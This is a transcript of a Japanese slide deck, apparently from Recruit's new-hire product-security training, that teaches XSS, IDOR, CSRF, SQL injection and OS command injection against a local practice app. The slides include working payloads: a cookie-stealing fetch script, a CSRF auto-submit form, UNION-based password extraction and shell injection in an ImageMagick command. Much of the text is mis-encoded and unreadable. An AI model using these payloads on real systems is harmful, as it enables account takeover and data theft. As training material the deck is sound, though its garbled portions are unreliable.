Upgrade to Pro — share decks privately, control downloads, hide ads and more …

攻撃と防御で実践するプロダクトセキュリティ演習~導入パート~

 攻撃と防御で実践するプロダクトセキュリティ演習~導入パート~

2025年度リクルート エンジニアコース新人研修の講義資料です

Avatar for Recruit

Recruit PRO

August 28, 2025
Tweet

More Decks by Recruit

Other Decks in Technology

Transcript

  1.  ࢁా շ ,BJ:BNBEB ͡ͿΓΜ !HQJPCMJOL • ೥य़ʙ 3&%5&".ॴଐ •

    ϦΫϧʔτ৽ଔೖࣾ ʲ࠷ۙϋϚ͍ͬͯΔ͜ͱɾࠓޙ΍Γ͍ͨ͜ͱʳ • ిࢠ޻࡞ɺ૊ΈࠐΈ։ൃ • ࠷ۙ͸ࣗ࡞1$ങͬͯԾ૝Խ؀ڥཱͯͨΓͯ͠༡ΜͰ·͢ ߨࢣ঺հ 
  2. 9 ߨࢣ঺հ  Ճ౻ࠤ೭ี 4BOPTVLF ,BUP • ೥݄৽ଔೖࣾ೥໨ • 3&%5&".ॴଐ

    ʲ࠷ۙϋϚ͍ͬͯΔ͜ͱɾಘҙͳ͜ͱʳ • Իָؑ৆ɺ%+ɺ'؍ઓ • ը૾ॲཧؔ࿈ o େֶ࣌୅͸ը૾ॲཧܥͷݚڀࣨॴଐ o աڈɺCAPTCHAύζϧͷ༗ޮੑݕূͳͲ΍ͬͯ·ͨ͠
  3. 出家祐貴 / Yuki Ideya • 2023年9月〜 RED TEAM所属 • それ以前は金融系のSIerや、セキュリティベンダーで官公庁への教育事

    業などやっていました 【最近ハマっていること・今後やりたいこと】 • 生成AIのセキュリティ周り勉強したりとか (セキュリティ以外の知識 は課題感…!) • 喉の調子が慢性的に悪いので、ず◦だもんとかと生成AIで喋りを代わ りにやってくれる仕組みを模索中 • 北海道からリモートで働いてて出社ほぼないので攻めたサブカルっぽ い服を買ったりするのですが、着る場面がなくていつも後悔します 講師紹介
  4. ಋೖฤ ೔໨ ͷΞδΣϯμ   ԋश؀ڥΛ৮ͬͯΈΑ͏  ࠓճͷݚमͰֶͿ͜ͱ  8FCΞϓϦέʔγϣϯʹ͓͚Δ੬ऑੑͱ߈ܸख๏

     ੬ऑੑͷରࡦ  ཌ೔ͷԋशͷઆ໌ ͪ͜Βͷઆ໌ͷલʹ νʔϜຖʹ͝Ҡಈ͍ͨͩ͘༧ఆͰ͢
  5. ࢀߟ ϩʔΧϧͰͷىಈखॱ  $ docker compose up --build -d WVMONBSLFSΛμ΢ϯϩʔυͨ͠σΟϨΫτϦͰҎԼΛೖྗ͍ͯͩ͘͠͞

    ✔ $IFDLͭͷίϯςφ͕4UBSUFEʹͳΕ͹0, ىಈ·Ͱগʑ͕͔͔࣌ؒΓ·͢ 「unknown flag」のエラーがでる場合は? %PDLFS͕ىಈ͍ͯ͠ͳ͍Մೳੑ͕͋Γ·͢ɻ -BVODIQBE ΞϓϦҰཡը໘ ͔Β %PDLFS%FTLUPQΞϓϦΛ ىಈͯ͠࠶ࢼߦ͍ͯͩ͘͠͞ɻ
  6. ݕࡧͷೖྗཝʹTDSJQUBMFSU TDSJQUΛೖྗͯ͠Կ͕ى͜Δ͔Λ֬ೝ͠ ͯΈ·͠ΐ͏  ԋशղઆɿ944Λѱ༻ͨ͠߈ܸ ᶃ IUUQMPDBMIPTUQPTUTTFBSDIʹΞΫηε ԋशղઆ ᶄ TDSJQUBMFSU

     TDSJQUΛೖྗ ᶅ ݕࡧϘλϯΛԡ͢ͱ ϙοϓΞοϓ͕ग़ݱ TDSJQUTDSJQUͷத਎Λॻ͖׵͑Δͱɺ ϒϥ΢β্Ͱ೚ҙͷ+BWB4DSJQU͕࣮ߦͰ͖Δʂ ͜ͷ੬ऑੑΛԠ༻͢Δͱʜ
  7. ͷݪҼՕॴΛιʔείʔυத͔Β୳ͯ͠Έ·͠ΐ͏  ԋशղઆɿ944Λѱ༻ͨ͠߈ܸ ԋशղઆ ʲͳͥϙοϓΞοϓ͕ग़ͯ͠·ͬͨͷ͔ʳ ᶃ ͷը໘Ͱ DPNNBOE PQUJPO J

    Λԡ͠ɺ։ൃऀπʔϧΛ։͘ ᶄ /FUXPSLλϒΛબ୒͢Δ ᶅ ͷը໘্ͷߋ৽ϘλϯΛԡ͢ ᶆ 5ZQF͕EPDVNFOUͷ௨৴Λબ୒͢Δ ˞ଞͷϑΝΠϧ͸ɺKT΍DTTͰ͋Γɺݻఆͷ಺༰ͷϑΝΠϧ ੩తͳϑΝΠϧ ͱࢥΘΕΔͨΊEPDVNFOUΛݟΔ
  8. ͷݪҼՕॴΛιʔείʔυத͔Β୳ͯ͠Έ·͠ΐ͏  ԋशղઆɿ944Λѱ༻ͨ͠߈ܸ ԋशղઆ ʲιʔείʔυத͔ΒݪҼΛಛఆʳ CϢʔβʔ͔Βड͚औͬͨVSMΛ NFTTBHFʹ֨ೲ ᶊ ᶉͰ൑໌ͨ͠৘ใΛ΋ͱʹ QPTUTTFBSDI

    ΁ͷ (&5ϦΫΤετΛݕࡧ BᶈͰ֬ೝͨ͠ϦΫΤετύϥϝʔλ ͔ΒVSMͷ஋Λऔಘ DSFQMZWJFX ʹͯNFTTBHFΛड͚औΓ TFBSDIFKTΛ༻͍ͯ ϒϥ΢βʹฦ͢ϨεϙϯεΛ࡞੒͢Δ ᶊ ൃݟͨ͠ιʔείʔυΛಡΈɺϢʔβʔͷೖྗ͔ΒϨεϙϯε·ͰͷॲཧͷྲྀΕΛௐࠪ
  9. https://ejs.co/ ͷݪҼՕॴΛιʔείʔυத͔Β୳ͯ͠Έ·͠ΐ͏  ԋशղઆɿ944Λѱ༻ͨ͠߈ܸ ԋशղઆ ʲιʔείʔυத͔ΒݪҼΛಛఆʳ ᶋ ᶊͰϨεϙϯε࡞੒ʹ༻͍ΒΕ͍ͯͨ TFBSDIFKTΛ։͖ɺॲཧΛௐࠪ NFTTBHFΛʮ

    ʯͰғ͍ͬͯΔ ᶌ ͜ͷλάͷҙຯΛFKTͷެࣜυΩϡϝϯτΑΓௐࠪ  ͸ɺΤεέʔϓॲཧΛͤͣʹग़ྗ͢Δ΋ͷ Ϣʔβʔ͔Βड͚औͬͨೖྗ஋Λ ΤεέʔϓॲཧͤͣϨεϙϯεʹग़ྗ͍ͯ͠Δ͜ͱʂ ͜ͷ੬ऑੑͷൃੜݪҼ͸ʜ
  10. ʲൃలʳͱಉ༷ʹࣗݾ঺հͷදࣔ෦෼ͰBMFSU ͕࣮ߦ͞ΕΔΑ͏ʹ ࡉ޻ͯ͠Έ·͠ΐ͏  ԋशղઆɿ944Λѱ༻ͨ͠߈ܸ ԋशղઆ ʲεΫϦϓτ͕࣮ߦ͞Εͳ͍ݪҼΛௐࠪʳ ᶈ ᶇͷը໘Ͱ DPNNBOE

    PQUJPO J Λԡ͠ɺ։ൃऀπʔϧΛ։͘ ᶉ /FUXPSLλϒΛબ୒͠ɺᶇͷը໘͔Βߋ৽ ᶊ UZQF͕EPDVNFOUͷ௨৴Λબ୒͢Δ ᶋ 3FTQPOTFλϒΛબ୒͢Δ λά͕Τεέʔϓ ແ֐Խ ͞Ε͍ͯΔ
  11. ʲൃలʳͱಉ༷ʹࣗݾ঺հͷදࣔ෦෼ͰBMFSU ͕࣮ߦ͞ΕΔΑ͏ʹ ࡉ޻ͯ͠Έ·͠ΐ͏  ԋशղઆɿ944Λѱ༻ͨ͠߈ܸ ԋशղઆ Ͱ΋λά͕ແ֐Խ͞Ε͍ͯΔͳΒɺ ᶇͷը໘Ͱλά͕ͦͷ··දࣔ͞ΕΔ͸ͣͰ͸ʁ TDSJQUBMFSU TDSJQU

    දࣔͷࡍʹͲ͏ղऍ͞Ε͍ͯΔ͔֬ೝ͠·͠ΐ͏ ᶌ &MFNFOUTλϒΛબ୒͢Δ ᶍ ⾣Λԡ͠ɺʮ͜Μʹͪ͸ʯͷՕॴ·Ͱల։ ແ֐Խ͞Εͳ͍௨ৗͷ)5.-λάͱͯ͠ೝࣝ ຊདྷදࣔ͞ΕΔ͸ͣ
  12. ʲൃలʳͱಉ༷ʹࣗݾ঺հͷදࣔ෦෼ͰBMFSU ͕࣮ߦ͞ΕΔΑ͏ʹ ࡉ޻ͯ͠Έ·͠ΐ͏  ԋशղઆɿ944Λѱ༻ͨ͠߈ܸ ԋशղઆ EJOOFS)5.-Λ༻͍ͯॲཧ݁ՌΛࣗݾ঺հͷ)5.-ཁૉʹઃఆ Cจதʹ63-͕͋Ε͹Bλάʹ͢Δॲཧ ᶎ ᶋͷը໘͔Β)5.-ιʔεͷεΫϦϓτ෦෼Λௐࠪ

    Bࣗݾ঺հͷ)5.-ཁૉ͔ΒςΩετΛ UFYU$POUFOU Ͱऔಘ͠ɺ QSPDFTT6TFS4FMG*OUSPEVDUJPO Λ࣮ߦ Dۭനͷ࡟আ΍վߦΛCSλάʹ͢Δॲཧ 63-΍վߦจࣈͷม׵ॲཧͰ͋Γ TDSJQUλάͷม׵ʹ͸ؔ܎ͳͦ͞͏ ஋ͷऔಘ΍ઃఆͷॲཧͰ ҉ࣔతʹλάͷม׵͕͞ΕΔՄೳੑ )5.-ιʔεͩͱແ֐Խ͞Ε͍ͯΔͷʹɺ௨ৗͷλάͱͯ͠ೝࣝ͞Ε͍ͯΔݪҼ͸ɺεΫϦϓτʹ͋Δ͸ͣ
  13. ʲൃలʳͱಉ༷ʹࣗݾ঺հͷදࣔ෦෼ͰBMFSU ͕࣮ߦ͞ΕΔΑ͏ʹ ࡉ޻ͯ͠Έ·͠ΐ͏  ԋशղઆɿ944Λѱ༻ͨ͠߈ܸ ԋशղઆ ᶐ ։ൃऀπʔϧͰ$POTPMFλϒΛ։͘ <!DOCTYPE html>

    <html lang="ja"> <head> <meta charset="UTF-8"> </head> <body> <div id="test">&lt;a href=&quot;https://example.com&quot;&gt;ςε τ&lt;/a&gt;</div> </body></html> ʲUFYU$POUFOUͱJOOFS)5.-ͷڍಈΛௐࠪʳ ᶏ ҎԼͷ)5.-Λద౰ͳ৔ॴʹอଘ ᶏ อଘ৔ॴͷύεΛ։͘ ⑮ let element = document.getElementById('test'); Λೖྗ ⑯ element.textContext;Λೖྗ ˠ UFYU$POUFOU Ͱ͸Τεέʔϓจࣈ͸ ΞϯΤεέʔϓ͞Εͯऔಘ͞ΕΔ &lt;΍&quot;Ͱ͸ͳ͘ɺΞϯΤεέʔϓ͞Εͨจࣈྻ͕औಘ͞Ε͍ͯΔ
  14. ʲൃలʳͱಉ༷ʹࣗݾ঺հͷදࣔ෦෼ͰBMFSU ͕࣮ߦ͞ΕΔΑ͏ʹ ࡉ޻ͯ͠Έ·͠ΐ͏  ԋशղઆɿ944Λѱ༻ͨ͠߈ܸ ԋशղઆ ⑰ element.innerHTML = element.textContent;

    を⼊⼒ ˠ JOOFS)5.-Ͱ͸ೖྗ஋͕ )5.-ཁૉͱͯ͠ઃఆ͞ΕΔ ᶔ ϒϥ΢βͷද͕ࣔϦϯΫʹஔ͖׵Θͬͨ͜ͱΛ֬ೝ Τεέʔϓ͕ղআ͞Ε)5.-λά͕ಡΈࠐ·ΕΔʂ ͭ·Γཁૉͷ಺༰ΛUFYU$POUFOUͰऔಘ͠ɺͦͷ஋ΛJOOFS)5.-Ͱઃఆ͢Δͱʜ
  15. ʲൃలʳͱಉ༷ʹࣗݾ঺հͷදࣔ෦෼ͰBMFSU ͕࣮ߦ͞ΕΔΑ͏ʹ ࡉ޻ͯ͠Έ·͠ΐ͏  ԋशղઆɿ944Λѱ༻ͨ͠߈ܸ ԋशղઆ FMFNFOUJOOFS)5.-Ͱ͸ɺཁૉʹ)5.-ΛૠೖͰ͖Δ͕ TDSJQUλά͸࣮ߦ͞Εͳ͍͜ͱʹͳ͍ͬͯΔ ҰํͰɺTDSJQUλάΛ࢖Θͣʹ +BWB4DSJQUΛ࣮ߦ͢Δ͜ͱ͸ՄೳͩͱΘ͔Δ

    Ͱ΋ɺ݁ہ)5.-λά͕ಡΈࠐ·ΕΔͷͰ͋Ε͹ɺTDSJQUλά͕ಈ࡞͠ͳ͔ͬͨͷ͸ͳͥʁ ⑲ ウェブでinnerHTMLの仕様を調査 TDSJQUλάΛ࢖Θͣʹ+BWB4DSJQUΛ࣮ߦ͢Δ ͭ·ΓɺJOOFS)5.-Λ࢖ͬͯ BMFSU Λ࣮ߦ͢Δʹ͸ʜ https://developer.mozilla.org/ja/docs/Web/API/Element/innerHTML
  16. ʲൃలʳͱಉ༷ʹࣗݾ঺հͷදࣔ෦෼ͰBMFSU ͕࣮ߦ͞ΕΔΑ͏ʹ ࡉ޻ͯ͠Έ·͠ΐ͏  ԋशղઆɿ944Λѱ༻ͨ͠߈ܸ ԋशղઆ ʲ࠷ऴతͳղ๏ʳ ᾛ JNH TSDYPOFSSPSBMFSU

     Λೖྗ ᶅ ϓϩϑΟʔϧΛߋ৽ ᾦࣗ෼ͷࣗݾ঺հϖʔδʹΞΫηε ᾧ εΫϦϓτ͕࣮ߦ͞ΕΔ͜ͱΛ֬ೝ ᶖ IUUQMPDBMIPTUQSPpMFʹΞΫηε
  17. ʲൃలʳ࡞੒ͨ͠ଞͷΞΧ΢ϯτͷ$PPLJFΛ઄औ͢Δ944ͷίʔυΛ࡞੒ ͯ͠Έ·͠ΐ͏  ԋशղઆɿ944Λѱ༻ͨ͠߈ܸ ԋशղઆ ʲ944ίʔυͷ࣮ߦΛ࣮ݧʳ ᶊ ݕࡧϘλϯΛԡ͢ ᶉ ҎԼͷίʔυΛೖྗ

    <script>fetch( "<ᶇͰίϐʔͨ͠URL>?data=" + document.cookie )</script> ᶋ ᶃͷը໘ʹϦΫΤετ͕දࣔ͞ΕΔ͜ͱΛ֬ೝ ᶈ IUUQMPDBMIPTUQPTUTTFBSDIʹΞΫηε Cookieͷ಺༰͕औಘͰ͖͍ͯΔ
  18. ͜ͷΑ͏ͳ944ͷ੬ऑੑ͸ɺͳʹ͕ݪҼͰൃੜ͢Δͷʁ  ֎෦͔Βͷೖྗʹରͯ͠ɺద੾ͳແ֐Խॲཧ͕ߦΘΕ͓ͯΒͣɺεΫϦϓτ ͳͲΛؚΉೖྗ͕ͦͷ··ϒϥ΢βͰղऍ͞Εͯ͠·͏ͨΊ JNH POMPBEϢʔβʔͷೖྗ EPDVNFOUCPEZJOOFS)5.- Ϣʔβʔͷೖྗ EPDVNFOUXSJUF Ϣʔβʔͷೖྗ

    Ϣʔβʔͷೖྗ͕ͦͷ··୅ೖ͞ΕΔ ˠ ةݥͳίʔυΛࠩ͠ࠐ·Ε͏Δ K2VFSZͷK2VFSZBQQFOE ΍ 3FBDUKTͷEBOHFSPVTMZ4FU*OOFS)5.- ͳͲ 8FC6*Λૢ࡞͢ΔͨΊͷϥΠϒϥϦͰ΋ɺҰ෦ແ֐Խॲཧ͕ߦΘΕͳ͍৔߹͕͋ΔͨΊ஫ҙɻ ࣮૷ྫ ࣮૷ྫ ࣮૷ྫ OPUF
  19. ଞਓͷ౤ߘΛฤूͯ͠Έ·͠ΐ͏  ԋशղઆɿ*%03Λѱ༻ͨ͠߈ܸ ԋशղઆ ʲ౤ߘͷྲྀΕͷ֬ೝʳ ᶃ IUUQMPDBMIPTUQPTUTʹΞΫηε ᶄ ద౰ͳ౤ߘΛ࡞੒͠౤ߘ ᶅ

    ࣗ෼ͷ౤ߘͷฤूϘλϯΛԡ͢ ᶆ ฤू಺༰Λೖྗ͠✔ϚʔΫΛԡ͢ ᶇ ฤू಺༰͕൓ө͞ΕΔ ᶆˠᶇ ͷؒʹߦΘΕΔૢ࡞Λɺଞਓʹରͯ͠ߦ͍͍ͨ ଞਓͷ౤ߘΛฤू͢ΔͨΊʹ͸
  20. ଞਓͷ౤ߘΛฤूͯ͠Έ·͠ΐ͏  ԋशղઆɿ*%03Λѱ༻ͨ͠߈ܸ ԋशղઆ ᶈ ։ൃऀπʔϧΑΓ&MFNFOUTλϒΛ։͘ ۩ମతʹᶆͰߦΘΕΔૢ࡞Λ֬ೝ͢Δ ᶉ ฤूը໘ͷςΩετΤϦΞཁૉΛબ୒ ᶈ

    ϒϥ΢βΛᶆͷը໘ʹͨ͠ঢ়ଶͰʮཁૉΛબ୒ʯϘλϯΛԡ͢ ᶊ ςΩετΤϦΞલޙͷཁૉͰ౤ߘͷࢦఆՕॴΛ୳͢ ౤ߘ*%ͷࢦఆՕॴΛൃݟ
  21.  ԋशղઆɿ*%03Λѱ༻ͨ͠߈ܸ ԋशղઆ ʲ#VSQ4VJUFͷิ଍ϦΫΤετͷཤྺ֬ೝํ๏ʳ ᶓΛԡ͠ɺ߱ॱʹฒ΂Δ ᶒ#VSQ4VJUFͷը໘Ͱ)551IJTUPSZΛબ୒ ᶔద౰ͳϦΫΤετΛΫϦοΫ ͦͷϦΫΤετ΍Ϩεϙϯεͷ ௨৴಺༰͕දࣔ͞ΕΔ ͋ͱ͔Βϒϥ΢βͰͷ௨৴಺༰Λ֬ೝ͢ΔͨΊ

    ϒϥ΢βͷ։ൃऀπʔϧͱҧ͍ ϖʔδ͕ભҠͯ͠΋࿈ଓͯ͠อଘ͞ΕΔͷͰศར ͜ͷػೳ͸Կʹ࢖͏ͷ #VSQ4VJUF͔Β։͍ͨϒϥ΢βͰൃੜͨ͠௨৴͕ શͯه࿥͞Ε͍ͯ·͢ʂ ˠҎ߱͸#VSQTVJUFͷϒϥ΢βͷ࢖༻Λલఏͱͯ͠ਐΊ·͢
  22. ʲൃలʳαʔϏεʹϩάΠϯதͷଞͷϢʔβʔ͕։͚ͩ͘Ͱɺҙਤ͠ ͳ͍౤ߘΛͤ͞ΒΕΔ᠘ϖʔδΛ࡞ͬͯΈ·͠ΐ͏  ԋशɿ$43'Λѱ༻ͨ͠߈ܸ ࣮ࢪ࣌ؒ෼ ԋशղઆ <!DOCTYPE html> <html lang="ja">

    <head> <meta charset="UTF-8"> </head> <body> <form action="http://localhost:5000/posts" method="post" id="x"> <input type="hidden" name="url" value="https://recruit.co.jp"> <input type="hidden" name="comment" value="意図しない投稿"> </form> <script> window.x.submit() </script> </body> </html> ᶃ ҎԼͷ)5.-Λ UFTUIUNM ͱͯ͠ద౰ͳ৔ॴʹอଘ ᶅ IUUQMPDBMIPTUUFTUIUNMʹΞΫηε ᶄ ᶃͷอଘઌσΟϨΫτϦͰλʔϛφϧΛىಈ͠ɺ QZUIPOrNIUUQTFSWFS Λ࣮ߦ ᶆ ભҠઌͷϖʔδͰҙਤ͠ͳ͍౤ߘΛ֬ೝͰ͖Δ
  23. ϒϥ΢β͕ɺΞΫηεઌͷαΠτ༻ʹอଘ͍ͯ͠Δ$PPLJFʢηογϣϯ*%ʣΛɺ߈ܸऀͷαΠ τܦ༝ͰΞΫηεͨ͠৔߹Ͱ΋ࣗಈతʹૹ৴͍ͯͨͨ͠Ί $PPLJF͸ભҠݩͷϖʔδʹؔΘΒͣɺϦΫΤετઌͷυϝΠϯͷ΋ͷ͕ࣗಈͰ෇༩͞ΕΔ  ͳͥɺ߈ܸऀͷαΠτܦ༝Ͱ΋ϩάΠϯ͕ඞཁͳॲཧΛ࣮ߦͰ͖ͨͷʁ ߈ܸऀͷ᠘αΠτʹΞΫηε ϢʔβʔIPHF IUUQTWVMONBSLFSFYBNQMFKQ WVMONBSLFSʹ ϩάΠϯࡁΈ

    ηογϣϯ*%ͷ $PPLJF͕͋Δ IUUQTFWJMFYBNQMFDPN IUUQTWVMONBSLFSFYBNQMFKQ΁ ͷϦϯΫ΍ϑΥʔϜΛؚΉϖʔδ هࣄ౤ߘͳͲͷϩάΠϯ͕ඞཁͳػೳʹΞΫηε ࢲͷηογϣϯ*%͸99Ͱ͢ ϦΫΤετʹ ࣗಈతʹ$PPLJF෇༩ ηογϣϯ*%Λ΋ͱʹ ϩάΠϯঢ়ଶͱͯ͠ॲཧ
  24. ΍Λೖྗͯ͠Έͯ42-ͷΤϥʔ͕ग़ΔՕॴΛ୳ͯ͠ɺιʔείʔυ͔Βݪ ҼΛ୳ͬͯΈ·͠ΐ͏ʢෳ਺Օॴ͋Γ·͢ʣ  ԋश42-*OKFDUJPOΛར༻ͨ͠߈ܸ ࣮ࢪ࣌ؒ෼ ݕࡧϖʔδ IUUQMPDBMIPTUMPHJO ͷݪҼՕॴ ԋशղઆ ᶃ

    ιʔείʔυΛ MPHJOͰݕࡧ͠ΤϯυϙΠϯτͷ࣮૷Λ֬ೝ ᶄ %#ͷॲཧͱࢥΘΕΔ࣮૷Λ֬ೝɻϢʔβͷೖྗ஋Λ ͦͷ··42-ΫΤϦ಺ʹ୅ೖ͍ͯ͠Δ෦෼Λൃݟ
  25. ΍Λೖྗͯ͠Έͯ42-ͷΤϥʔ͕ग़ΔՕॴΛ୳ͯ͠ɺιʔείʔυ͔Βݪ ҼΛ୳ͬͯΈ·͠ΐ͏ʢෳ਺Օॴ͋Γ·͢ʣ  ԋश42-*OKFDUJPOΛར༻ͨ͠߈ܸ ࣮ࢪ࣌ؒ෼ ݕࡧϖʔδ IUUQMPDBMIPTUQPTUTTFBSDI ͷݪҼՕॴ ԋशղઆ ᶃ

    ιʔείʔυΛ QPTUTTFBSDIͰݕࡧ͠ΤϯυϙΠϯτͷ࣮૷Λ֬ೝ ᶄ %#ͷॲཧͱࢥΘΕΔTFMFDU1PTUTͷ࣮૷Λ֬ೝ 74$PEFͰ͋Ε͹ $PNNBOE ؔ਺໊ΛΫϦοΫ ᶅ TFMFDU1PTUTؔ਺Λௐࠪ͠ɺϢʔβͷೖྗ஋Λͦͷ·· 42-ΫΤϦ಺ʹ୅ೖ͍ͯ͠Δ෦෼Λൃݟ
  26. ύεϫʔυΛ஌Βͳ͍BENJOϢʔβʔͰϩάΠϯͯ͠Έ·͠ΐ͏  ԋश42-*OKFDUJPOΛར༻ͨ͠߈ܸ ࣮ࢪ࣌ؒ෼ 4&-&$5JE VTFSOBNF QBTTXPSE '30.VTFST 8)&3&VTFSOBNFVTFSOBNF "/%QBTTXPSEQBTTXPSE

    Ͱௐࠪͨ͠ιʔείʔυΑΓɺ੺ࣈͷ෦෼ʹ ೚ҙͷจࣈྻΛࠩ͠ࠐΊΔ͜ͱ͕Θ͔Δ ԋशղઆ 4&-&$5JE VTFSOBNF QBTTXPSE '30.VTFST 8)&3&VTFSOBNFBENJO "/%QBTTXPSE03 ⾣ QBTTXPSEͷҰக൑ఆͷ෦෼͕ ৗʹ৚݅Λຬͨ͢Α͏ʹ͢Ε͹ϩάΠϯͰ͖Δ ʮQBTTXPSEʯ ͸ਅͰͳͯ͘΋ɺ ʮʯ͸ඞͣਅͳͷͰɺ ʮQBTTXPSE03ʯ͸ඞͣਅ
  27. ʲൃలʳ42-*OKFDUJPOΛར༻ͯ͠ɺVTFSTςʔϒϧʹ֨ೲ͞Ε͍ͯΔ QBTTXPSEΧϥϜͷσʔλΛ࿙Ӯͤͯ͞Έ·͠ΐ͏ ώϯτ6/*0/۟Λར༻͢Δ ώϯτ6/*0/۟Ͱ͸݁߹ݩͱΧϥϜ਺ΛҰகͤ͞Δඞཁ͕͋Δ  ԋश42-*OKFDUJPOΛར༻ͨ͠߈ܸ ࣮ࢪ࣌ؒ෼ ԋशղઆ 4&-&$5JE DPNNFOU

    தུ '30.QPTUT -&'5+0*/VTFSTதུ 8)&3&VSMTVSM -*,&ೖྗՄೳ 03%&3#:QPTUTDSFBUFE@BU %&4$ ˡ VTFSTςʔϒϧࣗମ͸ಡΈࠐ·Ε͍ͯΔ ˡ͜͜ͰԿΒ͔ͷܗͰQBTTXPSEΧϥϜΛ औಘ͢ΔΑ͏ʹ͍ͨ͠ Ͱௐࠪͨ͠ιʔείʔυΑΓɺ੺ࣈͷ෦෼ʹ ೚ҙͷจࣈྻΛࠩ͠ࠐΊΔ͜ͱ͕Θ͔Δ VSMͷΈΛೖྗͨ͠৔߹
  28. ʲൃలʳ42-*OKFDUJPOΛར༻ͯ͠ɺVTFSTςʔϒϧʹ֨ೲ͞Ε͍ͯΔ QBTTXPSEΧϥϜͷσʔλΛ࿙Ӯͤͯ͞Έ·͠ΐ͏ ώϯτ6/*0/۟Λར༻͢Δ ώϯτ6/*0/۟Ͱ͸݁߹ݩͱΧϥϜ਺ΛҰகͤ͞Δඞཁ͕͋Δ  ԋश42-*OKFDUJPOΛར༻ͨ͠߈ܸ ࣮ࢪ࣌ؒ෼ 6/*0/4&-&$5  QBTTXPSE

     VTFSOBNF        '30.VTFST ώϯτΛݩʹ6/*0/۟ͷ׆༻Λߟ͑Δͱɺ Ͱௐࠪͨ͠ιʔείʔυΑΓ ͜ͷΫΤϦ͸ݸͷΧϥϜ͕ඞཁͱΘ͔Δ ԋशղઆ ͜ͷΧϥϜͷதͰݕࡧ݁Ռͱͯ͠දࣔ͞ΕΔ෦෼ʹ VTFSOBNFͱQBTTXPSEͷ૊Έ߹ΘͤΛදࣔ͢ΔΫΤϦΛ࡞Δ ⾣ DPNNFOUͷ෦෼ʹɺQBTTXPSE VTFSOBNFͷ෦෼ʹɺVTFSOBNF ͦͷଞ͸ΧϥϜ਺ͷҰகͷͨΊͰຒΊΔ DPNNFOU VTFSOBNF දࣔʹ࢖͏ΧϥϜ͸ը໘্ʹදࣔ͞ΕΔཁૉ͔Βద౰ʹબ୒
  29. ʲൃలʳ42-*OKFDUJPOΛར༻ͯ͠ɺVTFSTςʔϒϧʹ֨ೲ͞Ε͍ͯΔ QBTTXPSEΧϥϜͷσʔλΛ࿙Ӯͤͯ͞Έ·͠ΐ͏  ԋश42-*OKFDUJPOΛར༻ͨ͠߈ܸ ࣮ࢪ࣌ؒ෼ ԋशղઆ ᶃ ݕࡧϖʔδ IUUQMPDBMIPTUQPTUTTFBSDIʹΞΫηε 6/*0/4&-&$5

     QBTTXPSE  VTFSOBNF        '30.VTFST ᶄ ͍ͣΕ͔ʹҎԼͷΫΤϦΛೖྗ ᶅ ݕࡧ ᶆ ௨ৗͷݕࡧ݁Ռͷޙ·ͰεΫϩʔϧ͢Δͱɺ શһͷVTFSOBNFͱQBTTXPSE͕දࣔ͞Ε͍ͯΔ 6/*0/ʹΑΓ ݩͷݕࡧ݁Ռʹύεϫʔυͷߦ͕௥Ճ͞Εͨʂ
  30. ը૾ΞοϓϩʔυͷϑΥʔϜͷαΠζ͕ࢦఆ͞Ε͍ͯΔ෦෼ΛcMTcʹมߋ ͯ͠ɺϑΝΠϧΛΞοϓϩʔυͯ͠Έ·͠ΐ͏  ԋश04$PNNBOE*OKFDUJPOΛѱ༻ͨ͠߈ܸ ԋशղઆ ᶈ ϦΫΤετ಺ͷXJEUIͷ߲໨ͷ஋ΛʮcMTcʯʹมߋ ᶉ 'PSXBSE͢Δ ᶋ

    ϒϥ΢βʹίϚϯυ࣮ߦͷΤϥʔ͕දࣔ͞ΕΔ ᶊ *OUFSDFQUΛP⒎ʹ͢Δ ϦΫΤετΛॻ͖׵͑ͯ04ίϚϯυΛ࣮ߦͰ͖Δ৔߹ Τϥʔʹग़ྗ͢Ε͹࣮ߦ݁ՌΛಡΈऔΕΔʂ ίϚϯυ࣮ߦ࣌ͷΤϥʔϝοηʔδ͕දࣔ͞ΕΔͱ͍͏͜ͱ͸ʁ
  31. ιʔείʔυΛࢀরͯ͠ͰͷΤϥʔ͕ى͖ͨݪҼΛιʔείʔυ͔Β୳ ͯ͠Έ·͠ΐ͏  ԋश04$PNNBOE*OKFDUJPOΛѱ༻ͨ͠߈ܸ ࠓճͷೖྗͷೖΓޱͰ͋Δ 1045QSPpMFϦΫΤετ͔Β୧͍͖ͬͯ·͠ΐ͏ ԋशղઆ ᶃ ιʔείʔυ͔Β1045ͷQSPpMFϦΫΤετΛݕࡧ ϑΥʔϜ͔Βೖྗͨ͠৘ใ͕ಉ໊ͷม਺ʹ୅ೖ

    ②エンドポイントの実装を調査 ②エンドポイントの実装を調査(つづき) FYFD 04ίϚϯυΛ࣮ߦ͢Δؔ਺ ͷதͰ XJEUI΍IFJHIUͷม਺͕࢖ΘΕ͍ͯΔ ˠ 04Ͱ࣮ߦ͞ΕΔίϚϯυͷதʹ ೚ҙͷίʔυΛೖྗͰ͖Δঢ়ଶ
  32. ʲൃలʳ࣮ߦͨ͠ίϚϯυʹΑΔग़ྗ݁ՌΛϢʔβʔ͕Ӿཡ͢Δํ๏Λ୳ͯ͠Έ·͠ΐ͏ ώϯτϖʔδ্ͷΤϥʔʹ͸ඪ४Τϥʔʹग़ྗ͞ΕΔ಺༰͕දࣔ͞Ε·͢ ώϯτɿMTͰग़ྗΛඪ४Τϥʔʹྲྀ͢͜ͱ͕Ͱ͖·͢  ԋश04$PNNBOE*OKFDUJPOΛѱ༻ͨ͠߈ܸ ԋशղઆ convert ${tmpSavePath} -gravity center

    -resize <width>x<height>^ -crop 1:1 ${savePath} Ͱௐࠪͨ͠ιʔείʔυΑΓɺ੺ࣈͷ෦෼ʹ೚ҙͷจࣈྻΛࠩ͠ࠐΊΔ͜ͱ͕Θ͔Δ ⾣ Ͱ෼͔ͬͨɺΤϥʔग़ྗ͕ӾཡͰ͖Δ͜ͱ΋౿·͑ΔͱҎԼ͕༗ޮ convert ${tmpSavePath} -gravity center -resize | 実⾏したいコマンド >&2 | x^ -crop 1:1 ${savePath} ʲίϚϯυΛ࣮ߦ͢Δํ๏ʳ
  33.  04$PNNBOE*OKFDUJPOͷ࣮૷ྫ ίϚϯυΛ࣮ߦ͢Δؔ਺ʹϢʔβʔೖྗΛར༻͢Δέʔε ʢจࣈྻ݁߹ͳͲʣ TZTUFN Ϣʔβʔͷೖྗ FYFD Ϣʔβʔͷೖྗ QBTTUISV Ϣʔβʔͷೖྗ

